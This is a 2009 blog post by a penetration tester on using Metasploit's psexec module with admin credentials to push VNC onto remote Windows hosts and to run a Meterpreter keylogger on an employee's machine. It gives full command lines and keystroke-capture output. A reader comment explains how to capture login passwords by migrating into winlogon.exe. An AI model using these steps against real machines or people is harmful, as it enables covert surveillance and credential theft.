Welcome to In Depth Defense. In Depth Defense LLC is a privately owned Information Security Consulting company owned and operated by Mark Baggett. In Depth Defense specializes in Penetration Testing and Incident Response. At this time In Depth Defense is not accepting any new client work, but we are happy to speak to you and point you to other resources in the community.

Mark Baggett has been active in Information Security for 18+ years. I've served in a variety of roles from software developer to CISO. You can find archives of older blog entries below and read my newer posts on http://www.pauldotcom.com, http://isc.sans.edu and http://pen-testing.sans.org

Monday, March 23, 2009

No exploit Metasploit usage - VNC and Keylogging

OK.  I admit it.  I use metasploit at work.  Of course, I have permission to use it as a penetration testing tool, but I find it to be very useful in other circumstances as well.    I often use the PSEXEC "exploit" to provide username and password to fully patched machines for administrative purposes.   For example, it has come in handy when the standard remote access tools have been removed and there is a remote machine that the support center is unable to access.   They, rightly so,  have figured out that if the security team can get in to their machines without usernames and passwords, it should be pretty easy for them to help recover a managed machine with known usernames and passwords.   One option to troubleshoot the broken admin software is to remotely (and temporarily) install VNC on the stranded host.  I use to connect to the remote c$ with administrator credentials, copy up vnc, import the required registry keys, start the server, fix the problem, clean up the registry, clean up the files and kill the service.  Now I just do this..

./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=strandedmachineip payload=windows/vncinject/bind_tcp E

There is no clean up because the tools never reaches the disk of the remote machine.  This is very nice.  Doug Burks and I have even talked about stripping down ./msfweb to a barebones version that just ask for ip, username and password and launches the VNC session.   ./msfwebvnc could be wrapped around a msfd instance on a central server that allows the support center to recover machines.    We may do that some day.   Comment if that interests you.   Now meterpreter has introduced another feature I suspect I will use at work.   

I occasionally get asked to run a keylogger on an employees machines.  Meterpreter now has this functionality built into it.   Before you do this talk with HR and your legal team.   In my opinion no employee investigations should ever occur without HR's involvement.  Maybe its because wiretap laws make me nervous about using my KeyGhost logger, but anytime I'm dealing with keyloggers I like to talk with our lawyers.  I've been told its not a problem many times before, but I check with them first.  Meterpreter on the other hand is software and there is no "wire tapping" going on.   It should be much less intrusive and your less likely to have the employee notice it.   Ask me to tell you the horror story about the USB keylogger and the KVM system some time.    Also, I can use meterpreter to keylog a remote office in only a few seconds.   So now a keylogger on a remote system is as easy as:

./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=monitoredmachineip payload=windows/meterpreter/bind_tcp E
[*] Please wait while we load the module tree...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened ( ->

meterpreter > grabdesktop

Trying to hijack the input desktop...

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

 I'm so glad we use this encrypted im channel to exchange sensitive data so the company doesn't catch us.   The stolen data is...

meterpreter >keyscan_stop

Interestingly, the keylogger does not capture the usernames and passwords when the user enters them at the screen saver logon prompts.   It records ctrl-alt-delete but not the password.   This is actually a good thing from my intended use.   Not knowing employees passwords protects the integrity of our audit logs.   


Ryan Sears said...

Hi there,

Your articles are a GREAT read, it's very hard to find good professional security information like your blog. Your last little bit though can be fixed, you can capture all login credentials for the machine by situating the meterpreter into the WINLOGON.exe process (using migrate). Then you can just sit there and see clearly separated user names and passwords as people login :)

Mark Baggett said...

Thanks for your feedback and the additional information! Check out some other posts out on pauldotcom.com.